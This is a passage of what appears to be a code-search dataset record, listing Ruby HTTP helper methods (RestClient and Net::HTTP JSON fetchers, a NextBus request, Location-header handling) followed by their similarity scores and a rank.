:headers => { :accept => :json,\n :content_type => :json,\n :params => { \"page\" => 1, \"per_page\" => 1000 }\n }\n ).execute\n results = JSON.parse(response.to_str)\n end", "def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username,\n :password => $password,\n :headers => { :accept => :json,\n :content_type => :json }\n ).execute\n results = JSON.parse(response.to_str)\n end", "def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username,\n :password => $password,\n :headers => { :accept => :json,\n :content_type => :json,\n :params => { \"page\" => 1, \"per_page\" => 1000 }\n }\n ).execute\n results = JSON.parse(response.to_str)\n end", "def get_json(location)\n response = RestClient::Request.new(\n :method => :get,\n :url => location,\n :user => $username,\n :password => $password,\n :headers => { :accept => :json,\n :content_type => :json,\n :params => { \"page\" => 1, \"per_page\" => 1000 }\n }\n ).execute\n results = JSON.parse(response.to_str)\n end", "def http_get(uri)\n req = Net::HTTP::Get.new uri\n @additional_headers.keys.each do |k|\n req[k] = @additional_headers[k]\n end\n #STDERR.puts \"Trace: #{caller[0]} req: #{req.inspect}\"\n temp_uri = URI.parse(self.polldaddy)\n body=''\n Net::HTTP.start(temp_uri.hostname, temp_uri.port, proxyhost, proxyport) do |http|\n http.request(req) do |res|\n res.read_body do |segment|\n body << segment # this will retrieve the parts if the response is chunked\n end\n end\n end\n body#.tap{|t| STDERR.puts \"Trace: #{caller[1]}: returning #{t}\"}\n end", "def upstream_response\n http = EM::HttpRequest.new(url).get\n logger.debug \"Received #{http.response_header.status} from NextBus\"\n http.response\n end", "def setup_location_header\n response_location_header = @response.headers.find { |header| header['name'] == 'Location' }\n \n @headers['Location'] = response_location_header['value'] unless response_location_header.nil?\n end", "def location; end", "def location; end", "def location; end", "def location; end", "def location; end", "def location; end" ]
[ "0.69599456", "0.6857647", "0.6798658", "0.66855085", "0.65320235", "0.65223557", "0.64424884", "0.64424884", "0.6421709", "0.63974744", "0.63886577", "0.6373973", "0.6327607", "0.62899446", "0.62790936", "0.6191266", "0.61763734", "0.61744225", "0.61729985", "0.614848", "0.61396134", "0.6089584", "0.6087077", "0.60860866", "0.60809195", "0.6080275", "0.6064099", "0.60596323", "0.6050074", "0.6050074", "0.6013613", "0.6011342", "0.60066086", "0.60056597", "0.599088", "0.5969186", "0.5950588", "0.5948792", "0.59412104", "0.593777", "0.59234315", "0.5903697", "0.58890843", "0.58793354", "0.5868453", "0.5850638", "0.5849945", "0.5849945", "0.5841863", "0.58151686", "0.5795842", "0.57627743", "0.57625675", "0.57609004", "0.5759351", "0.5753656", "0.57465684", "0.5723831", "0.5712533", "0.5709149", "0.5705896", "0.5703332", "0.57009006", "0.56959814", "0.5688454", "0.56828934", "0.56810516", "0.56778353", "0.5663998", "0.5657369", "0.5657159", "0.56568515", "0.5655199", "0.56543297", "0.56530744", "0.5651511", "0.5634825", "0.563465", "0.5633767", "0.5627532", "0.5627303", "0.5626433", "0.56259453", "0.5622975", "0.56212884", "0.561162", "0.561162", "0.56100994", "0.5605571", "0.55974364", "0.55974364", "0.5597142", "0.5596117", "0.5595948", "0.55944914", "0.55944914", "0.55944914", "0.55944914", "0.55944914", "0.55944914" ]
0.60751545
26